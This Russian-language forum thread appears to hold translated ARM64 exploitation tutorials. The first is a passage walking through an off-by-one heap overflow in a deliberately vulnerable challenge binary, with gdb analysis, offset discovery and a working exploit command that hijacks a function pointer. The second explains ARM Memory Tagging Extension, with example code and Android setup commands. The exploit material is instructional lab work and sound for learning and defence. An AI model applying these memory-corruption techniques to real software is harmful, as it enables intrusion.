    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

void secret(){

printf("Game 0ver! You win :P\n");

}

void function(){
    printf("Everything is fine.\n");
}

int main(int argc, char *argv[]){

    printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");

    if (argc < 3){
        printf("Usage: %s <data> <block_data>\n",argv[0]);
        exit(0);
    }

    struct B1 *s = malloc(256);
    s->myStruct = malloc(256);

    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);

    // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }

    // call function pointer
    s->myStruct->ptr();

    return 0;
}

Вы можете скачать этот исходник отсюда: https://github.com/Billy-Ellis/Exploit-Challenges/blob/master/rop/src/roplevel7.c

Анализируя исходный код, мы видим наличие двух структур B1 и B2.

C:
struct B2{
    int (*ptr)();
    char c[128];
};

В структуре B1 есть указатель на структуру B2.

C:
struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);
  • Память выделяется структуре B1, и кроме этого экземпляру структуры B2, посредством указателя на myStruct.
  • Указатель на функцию в структуре B2, посредством указателя s->myStruct настроен на функцию с именем function.
  • Код использующий strncpy, копирует 126 символов из аргумента командной строки argv[2] в буфер c, структуры B2.
  • Кроме того, он копирует 126 символов из argv[2] в буфер data2 структуры B1 через указатель s.
C:
// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
    if (argv[1][i] != 0){
        s->data[i] = argv[1][i];
    }else{
        break;
    }
}

В этом месте срабатывает основная уязвимость. Как мы видим выше, цикл выполняет 17 итераций, копируя 17 символов в буфер data. Это станет причиной переполнения, а переполняющий байт перепишет последний значащий байт указателя в структуре B2.

Взглянем на упрощенную схему ниже:

2.png


Это до выполнения цикла.

3.png


А вот это, уже после выполнения цикла — последний байт адреса, переписан переполняющим байтом.

Давайте скомпилируем этот код и запустим программу.

Bash:
gcc off-by-one.c -o off-by-one -no-pie

Bash:
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Usage: ./off-by-one <data> <block_data>
8ksec@debian:~/lab/challenges/off_by_one$

Мы должны ввести два аргумента. Давайте их введем.

Bash:
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Everything is fine.

Давайте введем бОльшие значения обоих аргументов.

Bash:
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Segmentation fault
8ksec@debian:~/lab/challenges/off_by_one$

Итак, давайте проанализируем, что произошло с помощью gdb.

7.png


Дизассемблировав функцию main(), мы увидим два вызова функции strncpy.

C:
struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);

Здесь strncpy копирует 126 байт в буфер структуры B1 и то же самое в буфер data2 структуры B2.

Давайте поставим точки останова на каждый вызов strncpy и проанализируем соответствующие области памяти.

p17.png


Запустим исполняемый файл в gdb с обоими аргументами.

p18.png


8.png


Первая точка останова сработала. Давайте выполним "Шаг с обходом" с помощью команды ni. Регистр x0, будет содержать адрес буфера назначения.

9.png


Проверим эту область памяти, с помощью команды x.

10.png


Мы видим наши A по адресу 0x4217c8, а перед ними какой-то адрес. По факту, это указатель на нашу функцию function(), которая печатает строку "Everything is fine".

C:
struct B2{
    int (*ptr)();
    char c[128];
};

Выхлоп дизассемблера с этого адреса подтверждает, что это действительно так.

11.png


Давайте продолжим выполнение программы.

12.png


Мы достигли второй точки останова. Выполним "Шаг с обходом" для этого вызова и проверим, что в регистре x0.

13.png


Мы опять видим блок с нашими A и адрес памяти перед ним. Этот адрес (0x00000000004217c0), указывает на начало структуры B2, который является указателем на функцию function(), печатающую строку "Everything is fine".

C:
struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

После этого, нужно посмотреть на листинг нашего цикла в дизассемблере.

C:
// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
    if (argv[1][i] != 0){
        s->data[i] = argv[1][i];
    }else{
        break;
    }
}

14.png


Теперь поставим точку останова после цикла и проверим, что произойдет с нашей структурой.

p29.png


Продолжим выполнение командой c.

15.png


Точка останова достигнута. Таким образом, в этом цикле программа снова копирует первый блок ‘A’, который мы отправили на вход первым, в буфер char data[16];

Давайте проверим память.

16.png


По адресу 0x4216b0 мы видим наши скопированные ’A’ . Если мы сейчас продолжим выполнение программы, будет вызвана функция function() и программа корректно завершит работу.

17.png


Давайте посмотрим, что произойдет, если ввести блоки ’A’ большего размера.

p33.png


Поставим точку останова в конце цикла и продолжим выполнение до тех пор, пока цикл не завершится.

p34.png


18.png


Давайте проверим память.

19.png


Вы можете наблюдать, что цикл перезаписал последний значащий байт адреса, указывающего на начало структуры B2. Теперь адрес 0x0000000000421741 указывает на нули. Если мы продолжим выполнение, программа скорее всего "упадет", потому что ближе к концу она попытается вызвать функцию function(), указатель на которую теперь указывает на другую область памяти, которая не содержит верного адреса.

C:
s->myStruct->ptr();

20.png


Программа, как и ожидалось "упала".

Эксплуатация

В этом упражнении, нам нужно вызвать метод secret(). Способом это сделать, является во-первых отправка 17 ’A’ , чтобы спровоцировать уязвимость переполнения одним байтом. Затем отправка на вход большого блока данных в качестве второго аргумента и записи адреса функции secret() туда, куда указывает модифицированный указатель на структуру.

Давайте этим и займемся, но сначала нам нужно найти смещение для указания адреса функции secret(). Мы можем его выяснить с помощью отправки шаблона.

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Давайте сформируем шаблон и зашлем его в программу.

21.png


Загрузим программу в gdb и поставим точку останова после цикла, как мы недавно уже делали.

22.png


Запустим программу, передав ей 17 или больше ’A’ и шаблон, который мы сформировали.

23.png


24.png


Сейчас мы на одну инструкцию ниже нашей точки останова. Давайте проверим эту область памяти. Структура будет по тому же адресу, как и при запуске в gdb.

Проверим память командой e(x)amine.

p43.png


25.png


По адресу 0x421738+8 мы можем наблюдать наш шаблон, хотя переписал он всего 6 байт. Это нас устраивает, потому что нам требуются всего 4 байта для нашего адреса. Давайте попытаемся определить смещение 0x421738.

26.png


Оно равно 112. Значит для 0x421740, смещение будет равным 120 (112+8). Приступим к созданию окончательной версии нашего эксплоита.

В первую очередь отправим 17 или более ’A’ первым аргументом, следом 120 символов мусора и адрес функции secret().

27.png


Если PIE не включено, то адрес останется тот же.

Итак, попробуем. Воспользуемся python, чтобы сформировать строку.

Bash:
./off-by-one $(python3 -c "print('A' * 17)") $(python3 -c 'print("A" * 120 + "\x84\x07\x40")')

28.png


И вот мы это сделали — выполнили функцию secret().

Ссылки

 
Последнее редактирование:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 10 – введение в ARM Memory Tagging Extension (MTE)
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-10-intro-to-arm-memory-tagging-extension-mte/
Автор статьи 8ksecresearch.
Автор перевода handersen.


Всем привет! В этой статье мы вкратце познакомимся с относительно новой защитной техникой, которая называется MTE (Memory Tagging Extension). Несмотря на то что об этом было объявлено несколько лет назад, практических реализаций не существовало. Однако недавно в устройствах Google Pixel 8, была реализована поддержка этих функций.

Memory Tagging Extension

Итак, что же такое MTE?

Memory Tagging Extension (MTE), это технология впервые появившаяся в архитектуре ARMv8.5-A и помогающая выявлять и предотвращать определенные виды проблем с безопасностью, касающиеся оперативной памяти – такие как, выход за границы диапазона, переполнение буфера, обращение к памяти после освобождения, повторное освобождение памяти и т. д. MTE, также называют "ASAN на стероидах". Мы в курсе, что ASAN, можно использовать для выявления повреждений памяти, однако он не пригоден к развертыванию на устройствах пользователей из-за проблем с производительностью. Однако в случае с MTE, эта возможность реализована аппаратно и поэтому, не повлияет на производительность. Несмотря на наличие других механизмов защиты, таких как ASLR, стековые канарейки, PIE (позиционно-независимое выполнение) и т. д. – способность MTE обнаруживать попытки эксплуатации за счёт повреждения памяти выводит защиту на новый уровень. Наличие MTE на устройстве значительно улучшает его безопасность и сильно затрудняет эксплуатацию 0-day уязвимостей. Как говорит нам само название этой технологии, MTE применяет теги, чтобы помечать каждое выделение/освобождение памяти дополнительными метаданными. Она присваивает теги областям памяти, которые, в свою очередь, связаны с указателями на эти области.

Существуют два способа реализации таких тегов.
  • 4-битный тег хранится в старшем байте указателя.
    • В архитектуре ARM64 для доступа к памяти применяются 64-битные указатели. Однако используется только от 48 до 52 из этих 64 бит. В пользовательском пространстве используются 48 бит, а остальные 16 бит не выполняют никакой функции. MTE использует эти биты для реализации тегов. MTE хранит 4-битный „ключ“ в младшем полубайте старшего байта адреса. Этот „ключ“ и считается тегом.
  • 4-битный тег создается отдельно для каждого блока памяти, выровненного по 16 байтам.
    • В этой реализации, MTE формирует уникальный 4-битный тег для для каждого блока памяти, выровненного по 16 байтам. MTE назначает отдельный 4-битный тег каждому блоку памяти, размером 16 байт. Таким образом, MTE отслеживает разные области памяти, разбитые на небольшие участки. Это всё равно что наклеить ярлык на каждый участок памяти размером 16 байт.
Вот набор, относящихся к этому инструкций.

Инструкция
Наименование
Формат
ADDG
Добавить тегADDG <Xd/SP>, <Xn/SP>, #<uimm6>, #<uimm4>
CMPP
Сравнить с тегомCMPP <Xn/SP>, <Xm/SP>
GMI
Вставить маску тегаGMI <Xd>, <Xn/SP>, <Xm>
IRG
Вставить случайный тегIRG <Xd/SP>, <Xn/SP>{, <Xm>}
LDG
Загрузить область помеченную тегомLDG <Xt>, [<Xn/SP>{, #<simm>}]
LDGV
Загрузить вектор теговLDGV <Xt>, [<Xn/SP>]!

Если вас заинтересовали другие инструкции MTE, загляните в wikichip. Наиболее важны здесь – инструкции IRG и STG. IRG формирует случайный ключ и сохраняет его в составе адреса памяти. STG берет значение указателя и присваивает содержащийся в нем ключ, 16 байтному блоку памяти, на который он указывает.

А сейчас, давайте посмотрим на пример переполнения буфера в куче и того, как MTE его предотвращает.

1-1.png


(изображение взято с https://hackmd.io/@mhyang/rJ5JOnWvv)

При выделении памяти в куче, она выравнивается кратно 16 байтам и указывается 4-битный тег. На рисунке выше мы видим, что и сам указатель и область памяти на которую он указывает, включают в себя теги, выделенные здесь зеленым цветом. Указатель p, пытается выделить 20 байт памяти и в результате выделяются 32 из-за выравнивания, кратного 16 байтам. Если вы подробнее рассмотрите указатель, то заметите, что тег расположен в старшем байте и обозначен зеленым цветом. Когда по указателю пытаются получить доступ к памяти за пределами выделенного зеленым, программа запрещает это действие, т. к. тег соответствующий этой области – отсутствует.

Давайте также рассмотрим пример использования памяти после ее освобождения (use-after-free).

2-1.png


(изображение взято с https://hackmd.io/@mhyang/rJ5JOnWvv)

Подобно предыдущему примеру, указатель p выделяет 20 байтов памяти и получает 32 из-за выравнивания, кратного 16 байтам. И указатель и область памяти, включают в себя теги, выделенные зеленым цветом. Теперь, когда память освобождена с помощью функции delete(), ее соответствующие области помечаются новыми тегами, а старые становятся недействительными. Обратите внимание, что указатель p все еще выделен зеленым. Тем не менее память, на которую он указывал, обозначена фиолетовым. Если попытаться получить через этот указатель доступ к освобожденной памяти – программа запретит эту операцию, так как теги указателя и области на которую он указывает – отличаются.

Режимы MTE

У MTE есть три режима работы.
  1. Синхронный режим (SYNC):
    • Он нацелен на безошибочное отлавливание багов, даже если придется слегка пожертвовать производительностью.
    • Действует как инструмент по выявлению ошибок и немедленно останавливает программу, если обнаружено несовпадение тегов.
    • Хорошо подходит для тестирования и применения в реальных задачах особенно, в условиях высокой вероятности атак.
    • Предоставляет вам подробный отчет, который упрощает поиск и исправление ошибок.
  2. Асинхронный режим (ASYNC):
    • Более заботится о сохранении производительности, чем о выявлении всех ошибок до единой.
    • При обнаружении несовпадающих тегов, продолжает выполнение программы до некой контрольной точки, после чего останавливает программу с минимальной информацией о причинах этого.
    • Лучше всего подходит для хорошо отлаженных систем, где нет оснований предполагать большое количество ошибок при работе с памятью.
  3. Асимметричный режим (ASYMM):
    • Новейший функционал в ARM v8.7-A, он тщательно проверяет память при чтении и не так тщательно при записи.
    • Работает так же быстро, как и ASYNC, но имеет лучшее покрытие кода.
    • Позволяет тонкую настройку из операционной системы.
Пример

Давайте рассмотрим пример небольшой программы, чтобы получше разобраться в MTE.

Рассмотрим программу на языке C, взятую отсюда. Мы подправили исходный код самую малость.

C:
/*
 * Memory Tagging Extension (MTE) example for Linux
 *
 * Compile with gcc and use -march=armv8.5-a+memtag
 *    gcc mte-example.c -o mte-example -march=armv8.5-a+memtag
 *
 * Compilation should be done on a recent Arm Linux machine for the .h files to include MTE support.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/prctl.h>

/*
 * Insert a random logical tag into the given pointer.
 * IRG instruction.
 */
#define insert_random_tag(ptr) ({                       \
        uint64_t __val;                                 \
        asm("irg %0, %1" : "=r" (__val) : "r" (ptr));   \
        __val;                                          \
})

/*
 * Set the allocation tag on the destination address.
 * STG instruction.
 */
#define set_tag(tagged_addr) do {                                      \
        asm volatile("stg %0, [%0]" : : "r" (tagged_addr) : "memory"); \
} while (0)

int main(void)
{
    unsigned char *ptr;   // pointer to memory for MTE demonstration
    int index;
    int data;
    /*
     * Use the architecture dependent information about the processor
     * from getauxval() to check if MTE is available.
     */
    if (!((getauxval(AT_HWCAP2)) & HWCAP2_MTE))
    {
        printf("MTE is not supported\n");
        return EXIT_FAILURE;
    }
    else
    {
        printf("MTE is supported\n");
    }

    /*
     * Enable MTE with synchronous checking
     */
    if (prctl(PR_SET_TAGGED_ADDR_CTRL,
              PR_TAGGED_ADDR_ENABLE | PR_MTE_TCF_SYNC | (0xfffe << PR_MTE_TAG_SHIFT),
              0, 0, 0))
    {
            perror("prctl() failed");
            return EXIT_FAILURE;
    }

    /*
     * Allocate 1 page of memory with MTE protection
     */
    ptr = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ | PROT_WRITE | PROT_MTE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (ptr == MAP_FAILED)
    {
        perror("mmap() failed");
        return EXIT_FAILURE;
    }

    /*
     * Print the pointer value with the default tag (expecting 0)
     */
    printf("pointer is %p\n", ptr);


    ptr = (unsigned char *) insert_random_tag(ptr);

    /*
     * Set the key on the pointer to match the lock on the memory  (STG instruction)
     */
    set_tag(ptr);

    /*
     * Print the pointer value with the new tag
     */
    printf("pointer is now %p\n", ptr);

    /*
     * /*
     * Write to memory beyond the 16 byte granule (offsest 0x10)
     * MTE should generate an exception
     * If the offset is less than 0x10 no SIGSEGV will occur.
     */


    printf("Enter the index to insert data : ");
    scanf("%d",&index);
    printf("Enter the data to insert : ");
    scanf("%d",&data);
    ptr[index] = data;

    /*
     * Program only reaches this if no SIGSEGV occurs
     */
    printf("...no SIGSEGV was received\n");

    return EXIT_FAILURE;
}

Этот код, демонстрирует применение Memory Tagging Extension на ARM64. Давайте в нем разбираться.

C:
#define insert_random_tag(ptr) ({                       \
        uint64_t __val;                                 \
        asm("irg %0, %1" : "=r" (__val) : "r" (ptr));   \
        __val;                                          \
})

Это вставка в указатель, случайно сформированного тега с помощью низкоуровневой команды IRG, которую мы видели в начале статьи.

C:
#define set_tag(tagged_addr) do {                                      \
        asm volatile("stg %0, [%0]" : : "r" (tagged_addr) : "memory"); \
} while (0)

Это присвоение тега из указателя, адресу памяти на который он указывает с помощью низкоуровневой команды STG.

В функции main, в первую очередь нужно проверить – поддерживается ли MTE или нет.

C:
if (!((getauxval(AT_HWCAP2)) & HWCAP2_MTE))
{
    printf("MTE is not supported\n");
    return EXIT_FAILURE;
}
else
{
    printf("MTE is supported\n");
}

Следующие два блока, сконфигурируют MTE и выделят страницу памяти.

C:
if (prctl(PR_SET_TAGGED_ADDR_CTRL,
          PR_TAGGED_ADDR_ENABLE | PR_MTE_TCF_SYNC | (0xfffe << PR_MTE_TAG_SHIFT),
          0, 0, 0))
{
        perror("prctl() failed");
        return EXIT_FAILURE;
}

/*
 * Allocate 1 page of memory with MTE protection
 */
ptr = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ | PROT_WRITE | PROT_MTE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ptr == MAP_FAILED)
{
    perror("mmap() failed");
    return EXIT_FAILURE;
}

После этого, указатель с помощью макроса insert_random_tag получит случайно сформированный тег, и этот же тег будет назначен области памяти с помощью макроса set_tag. Затем программа попросит нас ввести какой-то индекс и данные.

C:
printf("...no SIGSEGV was received\n");

Эта строка не будет выполнена, если программа выпадет в сегфолт.

Мы можем выполнить кросс-компиляцию и проверить это на практике. Для этого нам понадобится установить кросскомпилятор для aarch64, с помощью приведенной ниже команды:

Bash:
sudo apt install gcc-aarch64-linux-gnu

Также вам следует использовать qemu для эмуляции этой программы на aarch64.

Bash:
sudo apt install qemu-user-static

Давайте запустим кросс-компиляцию нашего исходника.

Bash:
arch64-linux-gnu-gcc mte.c -o mte -march=armv8.5-a+memtag -static

Запустим нашу программу в qemu.

Bash:
8ksec@pop-os:~/Desktop/mte$ qemu-aarch64-static ./mte
MTE is supported
pointer is 0x5500802000
pointer is now 0x600005500802000
Enter the index to insert data :

Мы видим, что до вставки тега, значение указателя было равно 0x5500802000. После вставки, значение стало равным 0x600005500802000. Тег вставился в старший байт. Теперь программа запрашивает некий индекс, для ввода наших данных. Кроме того этот тег получил случайное значение. Если мы запустим программу еще раз, то получим другое значение тега.

Bash:
8ksec@pop-os:~/Desktop/mte$ qemu-aarch64-static ./mte
MTE is supported
pointer is 0x5500802000
pointer is now 0xa00005500802000
Enter the index to insert data :

Мы убедились, что MTE включено, верно? Из этого следует, что память будет выровнена кратно 16 байтам. Значит, если мы попытаемся произвести запись за пределами этих 16 байт (индекс: 0 ... 15 ), программа запретит дальнейшее выполнение. Давайте это проверим.

Bash:
8ksec@pop-os:~/Desktop/mte$ qemu-aarch64-static ./mte
MTE is supported
pointer is 0x5500802000
pointer is now 0xa00005500802000
Enter the index to insert data : 16
Enter the data to insert : 2
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)

Как мы видим, произошла ошибка сегментации.

Давайте снова запустим программу и введем индекс меньше 16.

Bash:
ad2001@pop-os:~/Desktop/mte$ qemu-aarch64-static ./mte
MTE is supported
pointer is 0x5500802000
pointer is now 0x300005500802000
Enter the index to insert data : 15
Enter the data to insert : 3
...no SIGSEGV was received

В этот раз – никаких сегфолтов.

Настройка MTE на Android

В настоящее время из присутствующих на рынке устройств, поддержка MTE есть только в Pixel 8, но в будущем устройств поддерживающих MTE станет больше. Давайте посмотрим, как это настраивается в устройстве Pixel.

В первую очередь, включите отладку по USB и подключите девайс к компьютеру. Подключимся к шеллу с помощью adb (Android Debug Bridge).

Bash:
arm64:/$ setprop arm64.memtag.bootctl memtag

arm64:/$ setprop persist.arm64.memtag.default sync

arm64:/$ setprop persist.arm64.memtag.app_default sync

arm64:/$ reboot
  • Во-первых мы сконфигурируем загрузчик, для включения MTE при загрузке.
  • Во-вторых установим, режим MTE по-умолчанию для предустановленных на устройство программ.
  • В третьих, установим, режим MTE по-умолчанию для сторонних приложений.
  • Разработчики приложений, могут самостоятельно включить MTE в настройках приложения, однако системная настройка, включает его для приложений по-умолчанию, активируя его, даже если разработчики решили не включать его в своем софте.
После перезагрузки проверьте, включился ли MTE.

Bash:
arm64$ getprop | grep memtag

[arm64.memtag.bootctl]: [memtag]

[persist.arm64.memtag.app.com.android.nfc]: [off]

[persist.arm64.memtag.app.com.android.se]: [off]

[persist.arm64.memtag.app.com.google.android.bluetooth]: [off]

[persist.arm64.memtag.app_default]: [sync]

[persist.arm64.memtag.default]: [sync]

[persist.arm64.memtag.system_server]: [off]

[ro.arm64.memtag.bootctl_supported]: [1]

Мы можем видеть, что кое-где MTE до сих пор отключен. Давайте проверим, работает ли оно для системных исполняемых файлов.

Bash:
arm64:/ $ cat /proc/self/smaps | grep mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

VmFlags: rd wr mr mw me ac mt

Мы можем видеть, что в карте памяти процесса cat, бит mt – установлен, следовательно MTE включено.

Вы также можете это проверить с помощью приложения, по ссылке ниже:

https://play.google.com/store/apps/details?id=com.sanitizers.app.production
3-2.png

Выводы

На сегодняшний день, технология MTE поддерживается только в устройствах Pixel, однако можно ожидать, что и другие устройства в будущем задействуют эту технологию. Это вызовет значительные перемены в сфере 0-day и сильно усложнит хакерам эксплуатацию уязвимостей. Для более подробной информации, пожалуйста – ознакомьтесь с источниками, приведенными ниже.

Ссылки
https://learn.arm.com/learning-paths/smartphones-and-mobile/mte/mte/

Все статьи цикла на английском, здесь: 8ksec[.]io/arm-64-reversing-and-exploitation-series/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх